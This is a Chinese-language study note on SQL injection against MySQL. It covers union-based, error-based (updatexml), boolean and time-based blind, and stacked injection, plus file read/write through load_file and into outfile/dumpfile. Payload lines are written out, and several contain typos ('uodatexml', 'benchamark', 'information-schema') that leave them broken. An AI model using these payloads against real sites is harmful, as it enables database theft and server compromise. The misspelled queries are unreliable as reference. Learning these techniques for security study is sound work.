Web学习第五天
寄了,写了一下午的文档没保存^^_
1.联合查询注入
基本要求:查询列数必须一致;查询语句的查询的各列类型、顺序最好一致
步骤:闭合;判读字段数;判断结果输出位置;爆库、爆表、爆列
- select * from users where id = '-1' union select 1,2,3;
- select * from users where id = '1' union select 1,2,3;
如果是1的话,数据库中存在id=1,那么就会返回两行数据,由于limit0,1。MySQL总会返回第一条数据
如果id=-1或者其他不存在的列,那么第一行就一定是我们自己控制的
TABLE表:提供关于数据库中表的信息(包括视图)
COLUMNS表:提供表中的列信息
爆破库名:
- union select 1,2,database()
爆表名:
- union select 1,2,group_concat(table_name) from information_schema tables where table_schema=database()
- union select 1,2,group_concat(table_name) from information-schema columns where table_schema=database()
爆库名
- union select 1,2,group_concat(column_name) from information_schema columns where table_schema=database()
2.报错注入
报错注入在没法用union联合查询时用,前提是不能过滤一些关键函数。报错注入利用了数据库的某些机制,人为地制造错误条件,使查询结果出现在错误信息中
tips:报错注入有长度限制,不同函数的限制不一样
常用函数
- Updatexml:更新xml文档的函数。 语法:updatexml (文档类型,xpath路径,更新的内容)
- Extractvalue:对xml文档进行查询的函数 语法:extractvalue(文档类型,xpath路径)
报错原理:路径写入其他格式,就会报错并且会返回我们写入的非法格式内容,我们可以利用这个得到我们想得到的内容
- select * from users where id = 1 and uodatexml('1','/etc','1')
- /etc,由于写入内容没有错误,所以不会报错返回正常内容
- select * from users where id = 1 and updatexml('1','~etc','1);
3.盲注
if表达式和sleep函数
- if(expr1,expr2,expr3)
- 如果expr1式true,则if返回值为expr2;否则返回值为expr3
- if(1,sleep(3),0)
- 第一个expr1=1的时候会欻sleep函数,延时3秒,这样就能产生时间差
布尔盲注
步骤:闭合;找到永真和永假的两种情况;利用这两种情况进行对数据进行一位一位的获取
涉及的函数:
- substr:字符串截取函数 例子:substr(database(),1,1),截取当前数据库的第一位
- Ascii:把字符转成ascii码
时间盲注的方法
1.sleep()函数
- select sleep(3);
2.BENCHMARK
- select benchamark(10000000,sha(1));
3.笛卡尔积
- select if(1=1,(SELECT count(*)FROM information_schema,tables A, information_schema.colums B),0);
爆破思路
方法:手爆;用burp suite爆破;用python脚本
4.堆叠注入
- ?id=1';insert into users values('114',database(),'hahaha');--+
5.MySQL文件读写
文件读取函数:
- Load_file('文件路径')
写文件函数:
- into outfile
- into dumpfile select '' into outfile '绝对路径';
两函数区别在于into dumpfile 能导出一个完整能执行的二进制文件。into outfile 会在行末端写入新行,更致命的式会转义换行符,如果利用MySQL写一些dll或者其他二进制可执行文件,那么这个文件可能会被破坏